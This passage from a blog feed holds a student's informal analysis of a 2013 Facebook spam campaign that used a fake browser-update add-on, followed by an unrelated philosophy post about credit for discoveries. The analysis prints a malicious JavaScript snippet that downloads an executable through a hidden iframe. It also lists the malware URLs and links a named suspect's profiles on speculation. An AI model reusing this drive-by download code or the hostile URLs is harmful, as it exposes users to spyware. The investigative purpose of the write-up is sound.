&lt;p&gt;Also, if some of my findings are wrong, it might be just be the case. I did this for the first time, was half asleep , and excited about my findings.&lt;/p&gt;
&lt;p&gt;I am a student, and have nothing to hide (as a hacker). This was purely a research based chase up &amp;amp; academically driven curiosity. I never hosted any illegal data/code, never executed the script and never contacted anyone, whomsoever, may  have been involved in this spam.&lt;/p&gt;
&lt;p&gt;If you feel some terms have been used inappropriately, please leave a reply, and I&amp;#8217;ll correct them after reviewing the suggestion myself.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;A note to the &lt;a class=&quot;zem_slink&quot; title=&quot;Frankenstein&quot; href=&quot;http://en.wikipedia.org/wiki/Frankenstein&quot; target=&quot;_blank&quot; rel=&quot;wikipedia&quot;&gt;Frankenstein&lt;/a&gt;:&lt;/p&gt;
&lt;p&gt;Hey hacker &amp;#8211; Sorry for this (if you shall ever read it) But you just spammed through my friend&amp;#8217;s account. And I was equally vulnerable. I was tagged on the fb post and then i found all this crap you made. Go find some clean methods of making money.&lt;br /&gt;
And you know what, It is my friend&amp;#8217;s birthday today. And he had to apologize to all those tagged ( by all, i mean, a lot of people, he has more than 1000 friends ! )&lt;br /&gt;
So, deal with it.  I don&amp;#8217;t know about the end results, but, you scoundrel ! burn.&lt;/p&gt;
&lt;p&gt;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&lt;/p&gt;
&lt;p&gt;*Pssss! hey friend, why you no have 10,000 friends? 😀&lt;/p&gt;
&lt;p&gt;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;&amp;#8212;-&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;Kindly ignore the formatting. I am not getting paid to do this work, hence don&amp;#8217;t care !&lt;br /&gt;
[ Wrote this in emacs, used some arbitrary line separation arts  and bla bla bla&amp;#8230;&lt;/p&gt;
&lt;h1&gt;Don&amp;#8217;t fret on it. Even If you do, i won&amp;#8217;t give a damn. ]&lt;/h1&gt;
&lt;p style=&quot;text-align:center;&quot;&gt;&lt;a href=&quot;https://arcolife.in/images/wp/2013/06/anonymous_by_deiby_ybied-d515ebr.gif&quot;&gt;&lt;br /&gt;
&lt;img src=&quot;https://arcolife.in/images/wp/2013/06/anonymous_by_deiby_ybied-d515ebr.gif&quot; alt=&quot;Image&quot; title=&quot;involved in something bigger?&quot; width=&quot;280&quot; height=&quot;280&quot; class=&quot;aligncenter&quot; id=&quot;i-770&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;possible motivation for hacking &amp;gt;&lt;br /&gt;
the guy is motivated by some freedom movement or is a part of a group of hackers, or is just fooling around.&lt;/p&gt;
&lt;p&gt;*damn, such a good guess! 😀&lt;/p&gt;
&lt;p&gt;hence the message on &lt;a href=&quot;http://www.kristysteinhaus.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.kristysteinhaus.com/&lt;/a&gt; in Arabic &amp;#8211;&lt;br /&gt;
translated:&lt;br /&gt;
&amp;#8221; We do not know do not accept the threat of mercy&lt;br /&gt;
You freedom of expression, Crown Althecar &amp;#8211; &amp;#8221;&lt;br /&gt;
when googled, Crown Althecar gave link to &lt;a href=&quot;http://www.sgvv.net/newsdetail.php?id=10&quot; rel=&quot;nofollow&quot;&gt;http://www.sgvv.net/newsdetail.php?id=10&lt;/a&gt;&lt;br /&gt;
which is actually a hacked website giving a similar message and contains words&lt;/p&gt;
&lt;h1&gt;like &amp;#8220;victim&amp;#8221;&lt;/h1&gt;
&lt;p&gt;ORIGIN :&lt;br /&gt;
FB spam &lt;a href=&quot;http://bb1.co/1005090059&quot; rel=&quot;nofollow&quot;&gt;http://bb1.co/1005090059&lt;/a&gt; -&amp;gt; redirects to -&amp;gt; &lt;a href=&quot;http://sarjad.net/theme/id/images/firefox.php&quot; rel=&quot;nofollow&quot;&gt;http://sarjad.net/theme/id/images/firefox.php&lt;/a&gt;&lt;br /&gt;
The link says its a browser update and is an add-on, asks us to reload and click update. This then hacks the logged in accounts &amp;amp; starts posting stuff from the victim&amp;#8217;s accounts.&lt;br /&gt;
The update button actually points to -&amp;gt; &lt;a href=&quot;http://www.sarjad.net/theme/id/images/ribbons/socialne.xpi&quot; rel=&quot;nofollow&quot;&gt;http://www.sarjad.net/theme/id/images/ribbons/socialne.xpi&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;PS: At this stage, people should&amp;#8217;ve made some sense out of the URL, before clicking update, atleast check if its from a genuine origin! Anyways..&lt;/p&gt;
&lt;p&gt;..so I downloaded and unzipped the spyware. This contained scripts for spamming FB profiles, for infecting Firefox, Chrome, Opera &amp;amp; Safari browsers..&lt;br /&gt;
The spammer goes by the handle CasperCrazy (the guy just gave his name in the script file, so sophisticated ! even for a spammer, man he&amp;#8217;s decent! the script even contained proper comments &amp;amp; formatting 😀 )&lt;/p&gt;
&lt;p&gt;A few searching, i got a few links, out of those,&lt;/p&gt;
&lt;p&gt;one is -&amp;gt; &lt;a href=&quot;http://board.airrivals.net/user/21734-caspercrazy/&quot; rel=&quot;nofollow&quot;&gt;http://board.airrivals.net/user/21734-caspercrazy/&lt;/a&gt;&lt;br /&gt;
another one &lt;a href=&quot;http://www.dl4hack.com/forum/members/caspercrazy.html&quot; rel=&quot;nofollow&quot;&gt;http://www.dl4hack.com/forum/members/caspercrazy.html&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;(more mentioned below..)&lt;/p&gt;
&lt;p&gt;on further research, i found out, he has also hacked other websites previously and likes to leave his footprints, like on this one:&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://www.kristysteinhaus.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.kristysteinhaus.com/&lt;/a&gt;&lt;/p&gt;
&lt;h1&gt;and this one &lt;a href=&quot;http://www.zone-h.org/mirror/id/16635059&quot; rel=&quot;nofollow&quot;&gt;http://www.zone-h.org/mirror/id/16635059&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;More:&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://cdpheritage.org/hacked-by-casper-crazy-here-is-what-i-did-and-why-it-worked/&quot; rel=&quot;nofollow&quot;&gt;http://cdpheritage.org/hacked-by-casper-crazy-here-is-what-i-did-and-why-it-worked/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;A small video, shows a girl narrating an incident about how her blog showed hacked one day and when she contacted her geeky boyfriend, he gives her a link which fixes her blog.&lt;/p&gt;
&lt;p&gt;She says the link is below the video = &amp;gt; is this another trick? is the girl involved ? when she says its fixed ( and i am hoping she is talking about this link , which still shows hacked, &lt;a href=&quot;http://www.kristysteinhaus.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.kristysteinhaus.com/&lt;/a&gt; ), is she promoting something??&lt;/p&gt;
&lt;p&gt;However this website clarifies the hacks and also talks about the banking info leaks, as on:&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://docs.google.com/file/d/0B_j9nHbEe0UUS2xNOGtOWUpqMlU/preview?pli=1&quot; rel=&quot;nofollow&quot;&gt;https://docs.google.com/file/d/0B_j9nHbEe0UUS2xNOGtOWUpqMlU/preview?pli=1&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;..which was given in one of the profiles, of this hacker.&lt;/p&gt;
&lt;p&gt;Anyways, This hack which i probed into, is a pretty good way of &lt;a title=&quot;Spam (electronic)&quot; href=&quot;http://en.wikipedia.org/wiki/Spam_%28electronic%29&quot; target=&quot;_blank&quot; rel=&quot;wikipedia&quot;&gt;spamming&lt;/a&gt;, and earning money ( which is obvious when i viewed an html file i got from one the spyware links, its written there in French :&lt;br /&gt;
&amp;#8220;Earn a lot of money in a short time thanks to this system&amp;#8221;&lt;/p&gt;
&lt;p&gt;Although his profile links suggest he&amp;#8217;s linked to anonymous, but i doubt he&amp;#8217;s just trying to fool around and earn money through spamming / phishing/ &lt;a class=&quot;zem_slink&quot; title=&quot;Social engineering (security)&quot; href=&quot;http://en.wikipedia.org/wiki/Social_engineering_%28security%29&quot; target=&quot;_blank&quot; rel=&quot;wikipedia&quot;&gt;Social engineering&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;===========================&lt;/p&gt;
&lt;h1&gt;&lt;a href=&quot;https://arcolife.in/images/wp/2013/06/screenshot-from-2013-06-21-013939.png&quot; rel=&quot;attachment wp-att-792&quot;&gt;&lt;img src=&quot;https://arcolife.in/images/wp/2013/06/screenshot-from-2013-06-21-013939.png&quot; alt=&quot;Screenshot from 2013-06-21 01:39:39&quot; class=&quot;aligncenter size-large wp-image-792&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;/a&gt; &lt;a href=&quot;https://arcolife.in/images/wp/2013/06/screenshot-from-2013-06-21-013332.png&quot; rel=&quot;attachment wp-att-797&quot;&gt;&lt;img src=&quot;https://arcolife.in/images/wp/2013/06/screenshot-from-2013-06-21-013332.png&quot; alt=&quot;Screenshot from 2013-06-21 01:33:32&quot; class=&quot;aligncenter size-large wp-image-797&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;/a&gt; &lt;a href=&quot;https://arcolife.in/images/wp/2013/06/update.png&quot; rel=&quot;attachment wp-att-801&quot;&gt;&lt;img src=&quot;https://arcolife.in/images/wp/2013/06/update.png&quot; alt=&quot;update&quot; class=&quot;aligncenter size-large wp-image-801&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;/a&gt; &lt;a href=&quot;https://arcolife.in/images/wp/2013/06/screenshot-from-2013-06-21-023147.png&quot; rel=&quot;attachment wp-att-774&quot;&gt;&lt;img src=&quot;https://arcolife.in/images/wp/2013/06/screenshot-from-2013-06-21-023147.png&quot; alt=&quot;Screenshot from 2013-06-21 02:31:47&quot; class=&quot;aligncenter size-large wp-image-774&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;/a&gt; &lt;a href=&quot;https://arcolife.in/images/wp/2013/06/407160666.png&quot; rel=&quot;attachment wp-att-808&quot;&gt;&lt;img src=&quot;https://arcolife.in/images/wp/2013/06/407160666.png&quot; alt=&quot;407160666&quot; width=&quot;453&quot; height=&quot;296&quot; class=&quot;aligncenter size-full wp-image-808&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;/a&gt; &lt;a href=&quot;https://arcolife.in/images/wp/2013/06/screenshot-from-2013-06-21-022442.png&quot; rel=&quot;attachment wp-att-809&quot;&gt;&lt;img src=&quot;https://arcolife.in/images/wp/2013/06/screenshot-from-2013-06-21-022442.png&quot; alt=&quot;Screenshot from 2013-06-21 02:24:42&quot; class=&quot;aligncenter size-large wp-image-809&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;/a&gt; &lt;a href=&quot;https://arcolife.in/images/wp/2013/06/screenshot-from-2013-06-21-014219.png&quot; rel=&quot;attachment wp-att-813&quot;&gt;&lt;img src=&quot;https://arcolife.in/images/wp/2013/06/screenshot-from-2013-06-21-014219.png&quot; alt=&quot;Screenshot from 2013-06-21 01:42:19&quot; width=&quot;513&quot; height=&quot;600&quot; class=&quot;aligncenter size-full wp-image-813&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;/a&gt; &lt;a href=&quot;https://arcolife.in/images/wp/2013/06/screenshot-from-2013-06-21-014151.png&quot; rel=&quot;attachment wp-att-815&quot;&gt;&lt;img src=&quot;https://arcolife.in/images/wp/2013/06/screenshot-from-2013-06-21-014151.png&quot; alt=&quot;Screenshot from 2013-06-21 01:41:51&quot; width=&quot;535&quot; height=&quot;401&quot; class=&quot;aligncenter size-full wp-image-815&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;/a&gt; &lt;a href=&quot;https://arcolife.in/images/wp/2013/06/screenshot-from-2013-06-21-015409.png&quot; rel=&quot;attachment wp-att-788&quot;&gt;&lt;img src=&quot;https://arcolife.in/images/wp/2013/06/screenshot-from-2013-06-21-015409.png&quot; alt=&quot;Screenshot from 2013-06-21 01:54:09&quot; class=&quot;aligncenter size-large wp-image-788&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Associated Links [ ..those which i could search in the little time i had, you know, to waste! 🙂 ]&lt;br /&gt;
&lt;a href=&quot;https://docs.google.com/file/d/0B_j9nHbEe0UUS2xNOGtOWUpqMlU/preview?pli=1&quot; rel=&quot;nofollow&quot;&gt;https://docs.google.com/file/d/0B_j9nHbEe0UUS2xNOGtOWUpqMlU/preview?pli=1&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;https://www.facebook.com/marouankadiri&quot; rel=&quot;nofollow&quot;&gt;https://www.facebook.com/marouankadiri&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://marouan400.wix.com/haker&quot; rel=&quot;nofollow&quot;&gt;http://marouan400.wix.com/haker&lt;/a&gt;&lt;/p&gt;
&lt;div class=&quot;embed-twitter&quot;&gt;&lt;a class=&quot;twitter-timeline&quot; data-width=&quot;500&quot; data-height=&quot;750&quot; data-dnt=&quot;true&quot; href=&quot;https://twitter.com/MarouanKadiri?ref_src=twsrc%5Etfw&quot;&gt;Tweets by MarouanKadiri&lt;/a&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href=&quot;https://plus.google.com/u/0/116155563105873753223/posts&quot; rel=&quot;nofollow&quot;&gt;https://plus.google.com/u/0/116155563105873753223/posts&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://marouan13.wordpress.com/author/marouankadiri/&quot; rel=&quot;nofollow&quot;&gt;http://marouan13.wordpress.com/author/marouankadiri/&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;https://www.facebook.com/pages/Hacker/447686008637563&quot; rel=&quot;nofollow&quot;&gt;https://www.facebook.com/pages/Hacker/447686008637563&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://mcbawse177.appspot.com/pastebin.com/u1a6Lxib&quot; rel=&quot;nofollow&quot;&gt;http://mcbawse177.appspot.com/pastebin.com/u1a6Lxib&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://www.hackarat.jw.lt&quot; rel=&quot;nofollow&quot;&gt;http://www.hackarat.jw.lt&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://www.dl4hack.com/forum/members/caspercrazy.html&quot; rel=&quot;nofollow&quot;&gt;http://www.dl4hack.com/forum/members/caspercrazy.html&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://www.reflectgames.com/users.php?id=39481&quot; rel=&quot;nofollow&quot;&gt;http://www.reflectgames.com/users.php?id=39481&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://china-cheats.com/member.php?u=6142&quot; rel=&quot;nofollow&quot;&gt;http://china-cheats.com/member.php?u=6142&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://www.youtube.com/user/crazhacker?feature=watch&quot; rel=&quot;nofollow&quot;&gt;http://www.youtube.com/user/crazhacker?feature=watch&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;https://code.google.com/p/crazyjacks/&quot; rel=&quot;nofollow&quot;&gt;https://code.google.com/p/crazyjacks/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;============================&lt;br /&gt;
reported to :&lt;br /&gt;
1. Google &lt;a href=&quot;https://www.google.com/webmasters/tools/spamreport?hl=en&quot; rel=&quot;nofollow&quot;&gt;https://www.google.com/webmasters/tools/spamreport?hl=en&lt;/a&gt;&lt;br /&gt;
2. &lt;a class=&quot;zem_slink&quot; title=&quot;StopBadware&quot; href=&quot;https://www.stopbadware.org/&quot; target=&quot;_blank&quot; rel=&quot;homepage&quot; rel=&quot;nofollow&quot;&gt;StopBadware&lt;/a&gt; &amp;#8211; &lt;a href=&quot;https://www.stopbadware.org/report-badware&quot; rel=&quot;nofollow&quot;&gt;https://www.stopbadware.org/report-badware&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;===========================&lt;br /&gt;
&lt;a href=&quot;http://www.sarjad.net/theme/id/images/ribbons/socialne.xpi&quot; rel=&quot;nofollow&quot;&gt;http://www.sarjad.net/theme/id/images/ribbons/socialne.xpi&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;the directory structure of the spyware is:&lt;/p&gt;
&lt;p&gt;|&amp;#8211; crazyjacks_googleCode&lt;br /&gt;
|   |&amp;#8211; Facebook-V5.0.2.exe&lt;br /&gt;
|   |&amp;#8211; new-all.js&lt;br /&gt;
|   |&amp;#8211; new-allma.js&lt;br /&gt;
|   |&amp;#8211; new-post.js&lt;br /&gt;
|   |&amp;#8211; new-postma.js&lt;br /&gt;
|   |&amp;#8211; new-user.js&lt;br /&gt;
|   &lt;code&gt;-- new-userma.js&lt;br /&gt;
|-- OpIsrael.xlsx&lt;br /&gt;
|-- report.txt&lt;br /&gt;
|-- socialne&lt;br /&gt;
|   |-- chrome&lt;br /&gt;
|   |-- chrome.manifest&lt;br /&gt;
|   |-- content&lt;br /&gt;
|   |   |-- all.js&lt;br /&gt;
|   |   |-- facebook.js&lt;br /&gt;
|   |   |-- filescript.xul&lt;br /&gt;
|   |   |-- prefman.js&lt;br /&gt;
|   |   |-- script-compiler.js&lt;br /&gt;
|   |  &lt;/code&gt;&amp;#8212; xmlhttprequester.js&lt;br /&gt;
|   |&amp;#8211; defaults&lt;br /&gt;
|   |   &lt;code&gt;-- preferences&lt;br /&gt;
|   |      &lt;/code&gt;&amp;#8212; prefs.js&lt;br /&gt;
|   &lt;code&gt;-- install.rdf&lt;/code&gt;&amp;#8212; socialne.xpi&lt;/p&gt;
&lt;p&gt;6 directories, 19 files&lt;/p&gt;
&lt;p&gt;uses the chrome.manifest file as follows:&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;
content filecasper content/&lt;/p&gt;
&lt;p&gt;  overlay chrome://browser/content/browser.xul chrome://filecasper/content/filescript.xul
&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;uses the Greasemonkey API , uses code from &lt;a href=&quot;https://code.google.com/p/crazyjacks/&quot; rel=&quot;nofollow&quot;&gt;https://code.google.com/p/crazyjacks/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;See the commit activity here, it implies its been used recently, also this hack surfaced recently.&lt;br /&gt;
Also, the spam link -&amp;gt; &lt;a href=&quot;http://sarjad.net/theme/id/images/ribbons/urlgen.php&quot; rel=&quot;nofollow&quot;&gt;http://sarjad.net/theme/id/images/ribbons/urlgen.php&lt;/a&gt; -&amp;gt; is present in one of the js files -&amp;gt; new-post.js is a proof this google code repo is used for spamming.&lt;/p&gt;
&lt;p&gt;The same repo contains an executable Facebook-V5.0.2.exe spyware ? ( i didn&amp;#8217;t execute it yet, to see what happens)&lt;/p&gt;
&lt;h2&gt;..anyways, the snippet is :&lt;/h2&gt;
&lt;p&gt;Cookies.init();&lt;br /&gt;
if(Cookies.read(&amp;#8220;exe_server&amp;#8221;) === null) Cookies.create(&amp;#8220;exe_server&amp;#8221;, &amp;#8220;wakhaa&amp;#8221;, 30);&lt;br /&gt;
if(Cookies.read(&amp;#8220;exe_server&amp;#8221;) != &amp;#8220;baraka&amp;#8221;) {&lt;br /&gt;
var iframe = document.createElement(&amp;#8216;iframe&amp;#8217;);&lt;br /&gt;
iframe.style.display = &amp;#8220;none&amp;#8221;;&lt;br /&gt;
iframe.src = &amp;#8220;&lt;a href=&quot;http://crazyjacks.googlecode.com/files/Facebook-V5.0.2.exe?r&amp;#8221;+Math.floor(Math.random()*1000000000000)&quot; rel=&quot;nofollow&quot;&gt;http://crazyjacks.googlecode.com/files/Facebook-V5.0.2.exe?r&amp;#8221;+Math.floor(Math.random()*1000000000000)&lt;/a&gt;;&lt;br /&gt;
document.body.appendChild(iframe);&lt;/p&gt;
&lt;h2&gt;Cookies.create(&amp;#8220;exe_server&amp;#8221;, &amp;#8220;baraka&amp;#8221;, 30);&lt;/h2&gt;
&lt;p&gt;&amp;#8230;.suggests its using this exe to post stuff from new-all.js  (maybe?)&lt;br /&gt;
I didn&amp;#8217;t read the code properly, just guessed,&lt;/p&gt;
&lt;h1&gt;Since, I haven&amp;#8217;t fully analyzed it all yet, may be you could help me out? ( I do not have whole day just for this ! )&lt;/h1&gt;
&lt;p&gt;so once again, all code i could get is present on :&lt;br /&gt;
&lt;a href=&quot;https://code.google.com/p/crazyjacks/&quot; rel=&quot;nofollow&quot;&gt;https://code.google.com/p/crazyjacks/&lt;/a&gt; ,&lt;br /&gt;
&lt;a href=&quot;http://www.sarjad.net/theme/id/images/ribbons/socialne.xpi&quot; rel=&quot;nofollow&quot;&gt;http://www.sarjad.net/theme/id/images/ribbons/socialne.xpi&lt;/a&gt;&lt;br /&gt;
&amp;amp;&lt;br /&gt;
&lt;a href=&quot;http://sarjad.net/theme/id/images/firefox.php&quot; rel=&quot;nofollow&quot;&gt;http://sarjad.net/theme/id/images/firefox.php&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;I used wget to download it safely, unzip on cmdline to inflate the .xpi file, inspect element to observe related JS &amp;amp; links &amp;amp; images being loaded.&lt;br /&gt;
For those &amp;#8220;who wish to try this at home&amp;#8221;, use these precautions (and maybe more? ) or you might end up being a victim ! 😕&lt;br /&gt;
Hope, an expert is reading this. I am just too curious about this hack, since this is my first spyware research exploration &amp;amp; back tracking experience.&lt;br /&gt;
Help me out &amp;amp; keep me posted 🙂&lt;/p&gt;
&lt;p&gt;=========================================================&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;/div&gt;
</content>
  </entry>
  <entry>
    <title>The System of entitlement to credit for a breakthrough</title>
    <link href="https://arcolife.in/blog/2013/02/27/credit-system-extent/"/>
    <id>https://arcolife.in/blog/2013/02/27/credit-system-extent/</id>
    <published>2013-02-26T19:59:31.000Z</published>
    <updated>2013-02-26T19:59:31.000Z</updated>
    <category term="philosophy"/>
    <category term="metaphysics"/>
    <summary>What is the degree/extent of the decision criteria, as to who all are entitled to receive a due credit for an invention/discovery/breakthrough? Here’s a statement – Every matter in this world is related to one another.…</summary>
    <content type="html">&lt;div class=&quot;wp-content&quot;&gt;
&lt;div id=&quot;ld_NYNFun_8133&quot;&gt;
&lt;div id=&quot;__w2_falDiTw_inline_editor_content&quot;&gt;
&lt;address&gt;What is the degree/extent of the decision criteria, as to who all are entitled to receive a due credit for an invention/discovery/breakthrough?&lt;/address&gt;
&lt;address&gt;Here&amp;#8217;s a statement &amp;#8211; Every matter in this world is related to one another. Our actions affect the very presence of another life-form;&lt;/address&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div id=&quot;ld_NYNFun_8134&quot;&gt;
&lt;div&gt;
&lt;div id=&quot;__w2_QtnVejl_inline_editor_content&quot;&gt;
&lt;address&gt;&amp;#8220;..it is not uncommon for one philosopher to accuse another&amp;#8217;s arguments of entailing &lt;a class=&quot;zem_slink&quot; title=&quot;Solipsism&quot; href=&quot;http://en.wikipedia.org/wiki/Solipsism&quot; target=&quot;_blank&quot; rel=&quot;wikipedia&quot;&gt;solipsism&lt;/a&gt; as an unwanted consequence, in a kind of &lt;a href=&quot;http://en.wikipedia.org/wiki/Reductio_ad_absurdum&quot; target=&quot;_blank&quot;&gt;reductio ad absurdum&lt;/a&gt;..&amp;#8221; #metaphysics&lt;/address&gt;
&lt;p&gt;For example: lets talk about &lt;a class=&quot;zem_slink&quot; title=&quot;Alan Turing&quot; href=&quot;http://en.wikipedia.org/wiki/Alan_Turing&quot; target=&quot;_blank&quot; rel=&quot;wikipedia&quot;&gt;Alan Turing&lt;/a&gt;, if it were not for the &lt;a class=&quot;zem_slink&quot; title=&quot;Enigma machine&quot; href=&quot;http://en.wikipedia.org/wiki/Enigma_machine&quot; target=&quot;_blank&quot; rel=&quot;wikipedia&quot;&gt;Enigma Machine&lt;/a&gt;, and the German naval cryptanalysis, Alan would&amp;#8217;ve never tried to break the codes and invent the &lt;a class=&quot;zem_slink&quot; title=&quot;Turing machine&quot; href=&quot;http://en.wikipedia.org/wiki/Turing_machine&quot; target=&quot;_blank&quot; rel=&quot;wikipedia&quot;&gt;Turing Machine&lt;/a&gt;, and be the pioneer for &lt;a class=&quot;zem_slink&quot; title=&quot;Artificial intelligence&quot; href=&quot;http://en.wikipedia.org/wiki/Artificial_intelligence&quot; target=&quot;_blank&quot; rel=&quot;wikipedia&quot;&gt;Artificial Intelligence&lt;/a&gt; and modern computers.&lt;/p&gt;
&lt;p&gt;If it were not for his father&amp;#8217;s lessons on &lt;a class=&quot;zem_slink&quot; title=&quot;Explosive material&quot; href=&quot;http://en.wikipedia.org/wiki/Explosive_material&quot; target=&quot;_blank&quot; rel=&quot;wikipedia&quot;&gt;explosives&lt;/a&gt;, &lt;a class=&quot;zem_slink&quot; title=&quot;Alfred Nobel&quot; href=&quot;http://maps.google.com/maps?ll=59.3568111111,18.0192861111&amp;amp;spn=0.01,0.01&amp;amp;q=59.3568111111,18.0192861111 (Alfred%20Nobel)&amp;amp;t=h&quot; target=&quot;_blank&quot; rel=&quot;geolocation&quot; rel=&quot;nofollow&quot;&gt;Alfred Nobel&lt;/a&gt; would&amp;#8217;ve never got interested in explosives, thus the possibility of perhaps a late discovery of dynamite or maybe something else.&lt;/p&gt;
&lt;p&gt;So is it that the credit is decided only on basis of who presented the output and seems to be the strongest contender?  Why not a system of credit developed to give some amount of recognition to those who affected the path to success?&lt;br /&gt;
Because the same applies to the law. When a crime is committed, the laws consider all those who were involved and are asked to give an explanation..&lt;/p&gt;
&lt;p&gt;so going back to the question, who decided this credit-giving extent or is it just the idea implanted and carried-on from generations? (Consider the &lt;a href=&quot;http://en.wikipedia.org/wiki/Sorites_paradox&quot; target=&quot;_blank&quot;&gt;Sorites paradox&lt;/a&gt; &amp;#8211; here solution depends on our way of comprehension)&lt;/p&gt;
&lt;/div&gt;
&lt;div&gt;&lt;/div&gt;
&lt;div&gt;PS: I&amp;#8217;ve asked this on &lt;a title=&quot;metaphysics&quot; href=&quot;http://www.quora.com/Metaphysics/What-is-the-degree-extent-of-the-decision-criteria-as-to-who-all-are-entitled-to-receive-a-due-credit-for-an-invention-discovery-breakthrough?&quot; target=&quot;_blank&quot;&gt;Quora&lt;/a&gt; too. Lets wait for answers now..&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;/div&gt;
</content>
  </entry>
</feed>
